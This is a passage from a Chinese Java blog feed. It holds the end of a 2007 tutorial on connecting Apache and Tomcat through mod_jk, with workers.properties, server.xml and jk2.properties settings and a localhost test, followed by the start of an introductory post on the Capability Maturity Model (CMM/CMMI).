								<font size="2">&lt;Directory "D:/www"&gt;<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Options Indexes MultiViews<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">AddOutputFilter Includes html 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">AllowOverride None<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Order allow,deny<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Allow from all<span style="mso-spacerun: yes">  </span><p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">&lt;/Directory&gt;<span style="mso-spacerun: yes">  </span></font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<font face="宋体">
						<font size="2">
								<span lang="EN-US" style="mso-hansi-font-family: 宋体">#</span>
								<span style="mso-hansi-font-family: 宋体">包含<span lang="EN-US">Tomcat</span>中的<span lang="EN-US">mod_jk.conf</span>文件<span lang="EN-US"><p></p></span></span>
						</font>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Include D:\Apache\Tomcat5\conf\auto\mod_jk.conf</font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<b>
						<span style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">第四部分：配置<span lang="EN-US">Tomcat</span>服务器</font>
								</font>
						</span>
				</b>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l2 level1 lfo3; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">1、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">建立<span lang="EN-US">workers.properties</span>文件<span lang="EN-US"><p></p></span></font>
								</span>
						</b>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">在<span lang="EN-US">D:/Apache/Tomcat5/conf/</span>目录下新建文本文档并命名为<span lang="EN-US">workers.properties</span>，写入如下内容：</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体" size="2">workers.tomcat_home=C:\Tomcat  #</font>
				</span>
				<span style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体" size="2">让<span lang="EN-US">mod_jk</span>模块知道</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">Tomcat <br />workers.java_home=C:\jdk  #</span>让<span lang="EN-US">mod_jk</span>模块知道</font>
						</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">j2sdk <br />ps=\ <br />worker.list=ajp13  #</span>模块版本<span lang="EN-US">,</span>现有<span lang="EN-US">ajp14</span>了<span lang="EN-US">,</span>不要修改</font>
						</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">
												<br />worker.ajp13.port=8009  #</span>工作端口<span lang="EN-US">,</span>若没占用则不用修改</font>
						</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">
												<br />worker.ajp13.host=localhost  #</span>本机<span lang="EN-US">,</span>若上面的<span lang="EN-US">Apache</span>主机不为<span lang="EN-US">localhost,</span>作相应修改</font>
						</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">
												<br />worker.ajp13.type=ajp13  #</span>类型</font>
						</font>
						<font face="宋体">
								<font size="2">
										<span lang="EN-US">
												<br />worker.ajp13.lbfactor=1  #</span>代理数<span lang="EN-US">,</span>不用修改</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l2 level1 lfo3; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">2、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<b>
								<span style="mso-hansi-font-family: 宋体">
										<font face="宋体">修改<span lang="EN-US">server.xml</span>文件</font>
								</span>
						</b>
				</font>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">找到如下的配置代码：</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">&lt;!-- Tomcat Root Context --&gt; 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">&lt;!-- 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">&lt;Context path="" docBase="ROOT" debug="0"&gt; 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">--&gt;</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">在其后面增加如下一行：<span lang="EN-US"><p></p></span></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<font face="宋体">
						<font size="2">
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">&lt;Context path="/web" docBase="D:/www" debug="0" reloadable="true" &gt; &lt;/Context&gt;</span>
						</font>
				</font>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l2 level1 lfo3; tab-stops: list 18.0pt">
				<font size="2">
						<b>
								<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-family: 宋体">
										<span style="mso-list: Ignore">
												<font face="宋体">3、</font>
												<span style="FONT: 7pt 'Times New Roman'">
												</span>
										</span>
								</span>
						</b>
						<font face="宋体">
								<b>
										<span style="mso-hansi-font-family: 宋体">修改</span>
								</b>
								<b>
										<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">jk2.properties</span>
								</b>
								<b>
										<span style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">文件</span>
								</b>
								<b>
										<span lang="EN-US" style="mso-hansi-font-family: 宋体">
												<p>
												</p>
										</span>
								</b>
						</font>
				</font>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">修改后内容如下：</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">## THIS FILE MAY BE OVERRIDEN AT RUNTIME. MAKE SURE TOMCAT IS STOPED 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">## WHEN YOU EDIT THE FILE.</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">## COMMENTS WILL BE _LOST_</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">## DOCUMENTATION OF THE FORMAT IN JkMain javadoc.</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># Set the desired handler list 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">handler.list=apr,request,channelJni 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># Override the default port for the socketChannel 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># channelSocket.port=8019 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># Default: 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># channelUnix.file=${jkHome}/work/jk2.socket 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># Just to check if the the config<span style="mso-spacerun: yes">  </span>is working 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># shm.file=${jkHome}/work/jk2.shm</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># In order to enable jni use any channelJni directive 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># channelJni.disabled = 0 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># And one of the following directives:</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># apr.jniModeSo=/opt/apache2/modules/mod_jk2.so</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># If set to inprocess the mod_jk2 will Register natives itself 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># This will enable the starting of the Tomcat from mod_jk2 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2"># apr.jniModeSo=inprocess</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">#request.tomcatAuthentication=true 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 18pt">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体; mso-bidi-font-size: 9.5pt">
						<font face="宋体">
								<font size="2">request.tomcatAuthentication=false</font>
						</font>
				</span>
				<font face="宋体" size="2"> </font>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt">
				<b>
						<span style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">第五部分：运行测试程序</font>
								</font>
						</span>
				</b>
				<b>
						<span lang="EN-US" style="FONT-SIZE: 12pt; mso-hansi-font-family: 宋体; mso-bidi-font-size: 10.5pt">
								<font face="宋体">
										<font size="2">
												<span style="mso-tab-count: 1">  </span>
												<p>
												</p>
										</font>
								</font>
						</span>
				</b>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">先启动<span lang="EN-US">Tomcat</span>服务器，然后启动<span lang="EN-US">Apache</span>服务器。<span lang="EN-US"><p></p></span></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">打开<span lang="EN-US">IE</span>浏览器，分别输入如下地址：<span lang="EN-US"><p></p></span></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<a href="http://127.0.0.1/web/index.jsp">
								<font face="宋体" size="2">http://127.0.0.1/web/index.jsp</font>
						</a>
						<p>
						</p>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<a href="http://127.0.0.1:8080/web/index.jsp">
								<font face="宋体" size="2">http://127.0.0.1:8080/web/index.jsp</font>
						</a>
						<p>
						</p>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">如果出现的页面相同，均打印出<span lang="EN-US"><p></p></span></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span lang="EN-US" style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">Welcome 
<p></p></font>
						</font>
				</span>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p>
		</p>
		<p class="MsoPlainText" style="MARGIN: 0cm 0cm 0pt 21pt; mso-para-margin-left: 2.0gd">
				<span style="mso-hansi-font-family: 宋体">
						<font face="宋体">
								<font size="2">说明配制成功。</font>
						</font>
				</span>
		</p>
<img src ="http://www.blogjava.net/bcims/aggbug/95137.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-01-21 15:28 <a href="http://www.blogjava.net/bcims/archive/2007/01/21/95137.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CMM</title><link>http://www.blogjava.net/bcims/archive/2006/12/21/89381.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Thu, 21 Dec 2006 14:58:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/12/21/89381.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/89381.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/12/21/89381.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/89381.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/89381.html</trackback:ping><description><![CDATA[
		<font face="Verdana">   </font>
		<a href="http://www.itisedu.com/phrase/200603051508215.html" target="_new">
				<font face="Verdana">CMM</font>
		</a>
		<font face="Verdana">是指“</font>
		<a href="http://www.itisedu.com/phrase/200604231313565.html" target="_new">
				<font face="Verdana">能力成熟度模型</font>
		</a>
		<font face="Verdana">”，其英文全称为</font>
		<a href="http://www.itisedu.com/phrase/200604231314205.html" target="_new">
				<font face="Verdana">Capability Maturity Model for Software</font>
		</a>
		<font face="Verdana">，英文缩写为SW-CMM，简称CMM。它是对于</font>
		<a href="http://www.itisedu.com/phrase/200604232134205.html" target="_new">
				<font face="Verdana">软件</font>
		</a>
		<font face="Verdana">组织在定义、实施、</font>
		<a href="http://www.itisedu.com/phrase/200604231331545.html" target="_new">
				<font face="Verdana">度量</font>
		</a>
		<font face="Verdana">、控制和改善其</font>
		<a href="http://www.itisedu.com/phrase/200602282140185.html" target="_new">
				<font face="Verdana">软件过程</font>
		</a>
		<font face="Verdana">的实践中各个发展阶段的描述。CMM的核心是把</font>
		<a href="http://www.itisedu.com/phrase/200603282233345.html" target="_new">
				<font face="Verdana">软件开发</font>
		</a>
		<font face="Verdana">视为一个过程，并根据这一原则对软件开发和维护进行过程监控和研究，以使其更加科学化、标准化、使企业能够更好地实现商业目标。</font>
		<p>
				<font face="Verdana">       CMM是是一种用于评价软件承包能力并帮助其改善软件质量的方法，侧重于软件开发过程的管理及工程能力的提高与评估。CMM分为五个等级：一级为初始级，二级为可重复级，三级为已定义级，四级为已管理级，五级为优化级。</font>
		</p>
		<p>
				<font face="Verdana"> CMM是由美国卡内基梅隆大学<a href="http://www.itisedu.com/phrase/200602281725525.html" target="_new">软件工程</a>研究所1987年研制成功的，是目前国际上最流行最实用的软件生产过程标准和软件企业成熟度等级认证标准。目前，我国已有软件企业通过了CMM标准认证 。  </font>
		</p>
		<p>
				<font face="Verdana">      SW-CMM(Capability Maturity Model For Software 软件生产能力成熟度模型,以下简称"CMM"),是87年由美国卡内基梅隆大学软件工程研究所（CMU SEI）研究出的一种一种用于评价软件承包商能力并帮助改善软件质量的方法，其目的是帮助软件企业对软件工程过程进行管理和改进，增强开发与改进能力，从而能按时地、不超预算地开发出高质量的软件。</font>
		</p>
		<p>
				<font face="Verdana">       其所依据的想法是：只要集中精力持续努力去建立有效的软件工程过程的基础结构，不断进行管理的实践和过程的改进，就可以克服软件生产中的困难。CMM它是目前国际上最流行、最实用的一种软件生产过程标准，已经得到了众多国家以及国际软件产业界的认可，成为当今企业从事规模软件生产不可缺少的一项内容。</font>
		</p>
		<p>
				<font face="Verdana">CMM目前通用流行的版本是1．1（Version1．1）。《按照软件工程研究所（SEI）的原来计划，CMM的改进版版本2．0（V2．0）是要在1997年的11月完成的。但是，美国国防部办公室要求软件工程研究所（SEI）延迟发放公布CMM版本2．0，直至他们完成另一个更为紧迫的项目-<a href="http://www.itisedu.com/phrase/200603051543495.html" target="_new">CMMI</a>。</font>
		</p>
		<p>
				<font face="Verdana">      CMMI(Capability Maturity Model Integration<a href="http://www.itisedu.com/phrase/200604231315505.html" target="_new">能力成熟度模型集成</a>)，是美国国防部的一个设想。他们希望把所有现存的与将被发展出来的各种能力成熟度模型，集成到一个<a href="http://www.itisedu.com/phrase/200603061723295.html" target="_new">框架</a>中去。这个框架用于解决两个问题：第一，软件获取办法的改革；第二，从集成产品与过程发展的角度出发,建立一种包含健全的系统开发原则的<a href="http://www.itisedu.com/phrase/200604240818395.html" target="_new">过程改进</a>。 </font>
		</p>
		<p>
				<font face="Verdana">CMM为软件企业的过程能力提供了一个阶梯式的改进框架，它基于过去所有软件工程过程改进的成果，吸取了以往软件工程的经验教训，提供了一个基于过程改进的框架；它指明了一个软件组织在软件开发方面需要管理哪些主要工作、这些工作之间的关系、以及以怎样的先后次序，一步一步的做好这些工作而使软件组织走向成熟。</font>
		</p>
		<p>
				<font face="Verdana">
						<strong>一、CMM的诞生</strong>
				</font>
		</p>
		<p>
				<font face="Verdana">　　信息时代，软件质量的重要性越来越为人们所认识。软件是产品、是装备、是工具，其质量使得顾客满意，是产品市场开拓、事业得以发展的关键。而软件工程领域在1992年至1997年取得了前所未有的进展,其成果超过软件工程领域过去15年来的成就总和。</font>
		</p>
		<p>
